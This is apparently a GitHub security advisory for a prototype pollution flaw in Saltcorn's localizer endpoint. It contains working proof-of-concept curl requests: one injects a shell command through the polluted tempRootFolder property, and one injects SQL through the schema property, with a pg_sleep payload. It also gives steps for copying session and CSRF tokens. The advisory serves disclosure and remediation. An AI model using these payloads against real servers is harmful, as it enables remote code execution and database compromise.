The endpoint /site-structure/localizer/save-string/:lang/:defstring
accepts two parameter values: lang
and defstring
. These values are used in an unsafe way to set the keys and value of the cfgStrings
object. It allows to add/modify properties of the Object prototype
that result in several logic issues, including:
- RCE vulnerabilities by polluting the tempRootFolder
property
- SQL injection vulnerabilities by polluting the schema
property when using PostgreSQL
database.
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
Setup:
- set SALTCORN_NWORKERS=1
before starting the saltcorn
server (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
- make sure to use PostgresSQL backend - login with a user with admin permission
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed. - check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
pollute the Object.prototype
with a tempRootFolder
value set to ;echo+"rce"|tee+/tmp/RCE;
by sending the following request * :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
test
git
Create
echo "rce" | tee /tmp/RCE
will be executedcat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder
property is set to ;echo+"rce"|tee+/tmp/RCE;
that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit http://localhost:3000/table
to check the page returns some results (no errors)
- pollute the Object.prototype
with a schema value set to "
(just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request * :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
http://localhost:3000/table
but this time an SQL error will appear:
syntax error at or near "" order by lower(""
NOTE: Another payload to use as value
could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema
property is set to "
.
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
* Retrieve valid values for the connect.sid
(VALID_CONNECT_SID_COOKIE
) and _csrf
values (VALID_csrf_Value
) :
- open the browser developer console and go to the Network
tab
- visit http://localhost:3000/site-structure/localizer/add-lang
- add a language (Name: test
, Locale: test
) and click Save
- under the Network
tab, filter for save-lang
and check the request parameters (Headers
and Payload
/Request
tabs)
- copy the values for connect.sid
and _csrf
and paste in the curl command above
Remote code execution (RCE), Sql injection and business logic errors.
Check the values of lang
and defstring
parameters against dangerous properties like __proto__
, constructor
, prototype
.
{ "github_reviewed_at": "2024-10-03T19:50:59Z", "cwe_ids": [ "CWE-1321" ], "nvd_published_at": null, "severity": "HIGH", "github_reviewed": true }